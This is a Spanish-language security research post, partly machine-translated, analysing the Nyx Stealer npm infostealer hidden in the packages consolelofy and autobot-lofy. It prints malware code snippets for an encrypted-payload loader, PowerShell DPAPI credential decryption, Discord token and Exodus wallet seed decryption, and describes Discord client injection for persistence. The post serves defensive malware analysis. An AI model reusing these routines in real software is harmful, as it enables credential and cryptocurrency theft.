TL; DR
El equipo de investigación de seguridad de Xygeni identificó una sofisticada campaña de robo de información npm distribuida a través de dos paquetes maliciosos: consolalofy y autobot-lofy.
La última versión (consolelofy@1.3.0) Incorpora una carga útil cifrada AES de 216 KB que se descifra en tiempo de ejecución y se ejecuta mediante vm.runInNewContext()Debido a que la lógica maliciosa está completamente cifrada, los escáneres estáticos que dependen de la inspección de cadenas no pueden observar su comportamiento hasta el momento de la ejecución.
Una vez descifrada, la carga útil, marcada internamente Ladrón de Nyx, objetivos:
- Tokens de autenticación de Discord
- Más de 50 almacenes de credenciales de navegador
- Más de 90 extensiones para monederos de criptomonedas
- Sesiones de Roblox, Instagram, Spotify, Steam, Telegram y TikTok
- Persistencia del cliente de escritorio de Discord
Se informaron y confirmaron que las 20 versiones de ambos paquetes eran maliciosas.
Descripción técnica de este npm Infostealer
A diferencia del malware tradicional que se instala en el momento de la instalación, esta campaña se basa en un tiempo de ejecución modelo de descifrado.
Existen:
- Sin malicia
preinstallorpostinstallhooks - No hay llamadas de red obvias en el momento de la instalación
- No hay lógica de recolección de credenciales de texto simple
La carga útil se activa al importar el módulo. Todo el cuerpo malicioso se cifra y solo se materializa en memoria durante la ejecución.
Este diseño evita específicamente la detección durante la instalación del paquete.
Cómo se ejecuta realmente este npm Infostealer
Antes de analizar qué roba Nyx Stealer, necesitamos entender Cómo se ejecuta.
La lógica maliciosa dentro de este npm infostealer sigue un patrón consistente:
Un pequeño cargador descifra una carga útil cifrada grande y la ejecuta dinámicamente dentro de un contexto de máquina virtual Node.js.
Este diseño es deliberado. El atacante no oculta la funcionalidad solo mediante la ofuscación, sino que... eliminar por completo el código malicioso de la visibilidad estática.
Modelo de ejecución de alto nivel
A un alto nivel, el contenedor hace cuatro cosas:
- Deriva una clave AES a partir de una frase de contraseña codificada mediante SHA-256
- Descifra un texto cifrado grande codificado en hexadecimal mediante AES-256-CBC
- Ejecuta el JavaScript descifrado usando
vm.runInNewContext() - Proporciona un entorno limitado que aún expone potentes primitivas de tiempo de ejecución
Resumen de la técnica básica
| Componente | Configuración/Valor |
|---|---|
| Algoritmo | AES-CBC-256 |
| Derivación clave | SHA-256 (frase de contraseña) |
| Vector de inicialización (IV) | 16 bytes de 0x00 |
| Ejecución | vm.runInNewContext(descifrado, espacio aislado) |
De manera crítica, el sandbox pasa por:
requireprocessBuffer- temporizadores
- exportaciones de módulos
Esto significa que la carga útil descifrada conserva plena capacidad para:
- Procesos de desove
- Leer y escribir archivos
- Realizar llamadas de red
- Modificar aplicaciones locales
Esta no es una máquina virtual restringida. Es una máquina virtual utilizada como trampolín de ejecución.
Patrón de cifrado en tiempo de ejecución (mecanismo de ejecución principal)
El cargador es pequeño.
El cuerpo malicioso no es.
A continuación se muestra el patrón de ejecución que se encuentra dentro del paquete:
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
¿Por qué este Matters
La carga útil descifrada:
- Does No existe en texto plano dentro del paquete npm
- Es invisible para los simples
grepo escaneo de cadenas estáticas - Sólo se materializa en la memoria en tiempo de ejecución
- Se ejecuta con capacidades completas de tiempo de ejecución de Node
Esta combinación de ejecución de AES + VM es un fuerte indicador de comportamiento de un npm infostealer intenta evadir la inspección estática.
En otras palabras:
Si escanea el árbol de código fuente del paquete, no verá ningún ladrón.
Ves un descifrador.
¿Qué sucede después del descifrado?
Una vez ejecutado, Nyx Stealer lanza oleadas de recopilación de datos paralelas.
Ola 1: Extracción de credenciales del navegador
El malware:
- Descarga un entorno de ejecución de Python desde NuGet CDN
- Instala bibliotecas criptográficas
- Extrae almacenes de credenciales basados en Chromium
- Descifra secretos protegidos por DPAPI
En lugar de compilar enlaces nativos, aprovecha PowerShell para llamar a Windows DPAPI directamente.
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
Este enfoque:
- Evita artefactos de compilación
- Utiliza API de cifrado nativas de Windows
- Se integra con las herramientas administrativas
Se trata de un descifrado de credenciales a nivel de sistema operativo, no de un raspado.
Ola 2: Descifrado del token de Discord
El ladrón es consciente del protocolo. Entiende el formato de token cifrado de Discord.
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
Flujo operativo:
- Extraer la clave maestra de Discord
Local State - Descifrar la clave maestra mediante DPAPI
- Descifrar blobs de tokens AES-GCM
- Validar tokens contra la API de Discord
- Enriquece con Nitro, insignias e información de facturación
Esto no es un volcado genérico de credenciales. Es un secuestro de sesión basado en protocolos.
Ola 3: Apuntando a las billeteras de criptomonedas
El npm infostealer enumera:
- Más de 90 extensiones de billetera para navegadores
- 27 billeteras de escritorio
- Rutas de billetera fría
- Archivos de semillas del Éxodo
Ejemplo de intento de descifrado de semilla:
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
Si tiene éxito, la vulneración de la billetera será inmediata e irreversible.
Esto representa el vector de monetización de mayor valor de la campaña.
Persistencia mediante inyección de escritorio en Discord
Después de recolectar credenciales, Nyx Stealer intenta la persistencia modificando el sistema local. Discord cliente.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Secuencia operativa
El ladrón de información realiza los siguientes pasos:
- Finaliza los procesos de Discord en ejecución
- Localiza las variantes de Discord instaladas (Stable, Canary, PTB)
- Sobrescribe
discord_desktop_core/index.js - Inyecta lógica de webhook controlada por el atacante
- Reinicia Discord
Esto garantiza que las futuras sesiones de Discord filtren automáticamente nuevos tokens de autenticación.
Es importante destacar que esta persistencia no depende de tareas programadas ni de modificaciones del registro. Aprovecha la modificación del código a nivel de aplicación, un enfoque más sigiloso.
Incluso si posteriormente se elimina el paquete npm malicioso, el cliente de Discord seguirá comprometido.
Comparación técnica: Selfbot legítimo vs. Infostealer de npm
| Componente | Biblioteca legítima | Nyx npm Infostealer |
|---|---|---|
| Cifrado | Ninguna | Carga útil completa cifrada con AES |
| Máquina virtual en tiempo de ejecución | No se requiere | vm.runInNewContext ejecución |
| Acceso a credenciales | Solo API de Discord | Navegador, billeteras, DPAPI |
| Descargas externas | No | Tiempo de ejecución de Python a través de NuGet |
| Persistencia | No | Inyección del cliente de Discord |
| Monetización | Automatización de bots | Reventa de credenciales |
La capa de cifrado por sí sola ya separa esta campaña de una bifurcación típica de código abierto.
Un bot legítimo de Discord no tiene por qué cifrar todo su código base, generar PowerShell para acceder a DPAPI, descargar entornos de ejecución externos ni modificar el funcionamiento interno de las aplicaciones de escritorio. Cuando estas capacidades aparecen dentro de una dependencia que afirma automatizar las interacciones de Discord, la incompatibilidad arquitectónica se vuelve innegable.
Desde el punto de vista de la investigación, este ladrón de información de npm deja rastros en múltiples capas. Sin embargo, los indicadores más fiables no son las URL codificadas ni las rutas de archivo específicas, ya que pueden cambiar entre versiones. En cambio, las señales duraderas son estructurales.
A nivel de paquete, la señal de alerta más fuerte es la combinación de una gran carga útil cifrada y un contenedor de descifrado en tiempo de ejecución que se ejecuta inmediatamente a través de vm.runInNewContext()Si bien el cifrado por sí solo no es inherentemente malicioso, usar el descifrado AES seguido de la ejecución dinámica de una máquina virtual dentro de un paquete de utilidades de Discord es altamente anómalo.
A nivel de host, los patrones sospechosos incluyen actividad inesperada de descifrado de DPAPI, generación de procesos desde un contexto de dependencia de Node.js y modificación de archivos de aplicaciones locales que nunca deberían ser alterados por bibliotecas de terceros. Asimismo, a nivel de red, la comunicación saliente tipo webhook iniciada por una dependencia de desarrollo representa otra anomalía significativa.
En otras palabras, la superficie de detección no es un único indicador de vulnerabilidad. Es la correlación entre el cifrado, la ejecución en tiempo de ejecución, el acceso a credenciales y el comportamiento de persistencia lo que revela la amenaza.
Detección y mitigación con Xygeni
Este ladrón de información npm fue identificado por Alerta temprana de malware (MEW) de Xygeni a través de una correlación conductual en capas en lugar de una simple comparación de firmas.
En lugar de buscar cadenas maliciosas conocidas, MEW evalúa anomalías estructurales en todo el árbol de código fuente. En este caso, la detección surgió de la convergencia de varias señales: una rutina de descifrado AES integrada en el punto de entrada del módulo, ejecución inmediata dentro de un contexto de máquina virtual y una clara discrepancia entre la capacidad y la intención.
Es importante destacar que ninguna de estas señales por sí sola demuestra una intención maliciosa. Sin embargo, al analizarlas en conjunto, revelan un intento de ocultar el comportamiento en tiempo de ejecución. Este enfoque por capas reduce significativamente los falsos positivos a la vez que identifica amenazas de alta fiabilidad para la cadena de suministro.
Además, este caso ilustra por qué la inspección durante la instalación por sí sola es insuficiente. La lógica maliciosa no reside en los scripts del ciclo de vida. Se activa únicamente tras la carga del módulo y solo se hace visible una vez descifrado en memoria. Por lo tanto, una defensa eficaz requiere un análisis que tenga en cuenta el cifrado, el reconocimiento de patrones de comportamiento y la monitorización continua de dependencias más allá de los eventos de instalación.
La eliminación del registro es reactiva. El análisis en tiempo de ejecución es preventivo.
Por qué es importante este npm Infostealer
Nyx Stealer representa una evolución estructural del malware basado en npm.
Históricamente, muchos paquetes maliciosos se basaban en scripts visibles durante la instalación o en endpoints de exfiltración de credenciales evidentes. En cambio, esta campaña cifra su carga útil, pospone su ejecución al tiempo de ejecución, aprovecha las API legítimas del sistema operativo y establece persistencia dentro de aplicaciones de confianza.
En consecuencia, el atacante no necesita explotar la infraestructura de npm. En cambio, el ataque tiene éxito porque la instalación de dependencias implica confianza. Los desarrolladores asumen que importar una biblioteca es una operación segura, sobre todo cuando se presenta como una posible bifurcación de una herramienta popular.
A medida que los ecosistemas continúan creciendo y las bifurcaciones proliferan, ese límite de confianza implícito se convierte en una superficie de ataque cada vez más atractiva. Por lo tanto, defenderse de los ladrones de información de npm modernos requiere reconocer patrones arquitectónicos en lugar de buscar cadenas estáticas.
En última instancia, esta campaña refuerza una lección fundamental: software supply chain security:Las amenazas más peligrosas no son las que parecen maliciosas a primera vista, sino las que parecen estructuralmente legítimas hasta que el tiempo de ejecución revela su verdadero comportamiento.




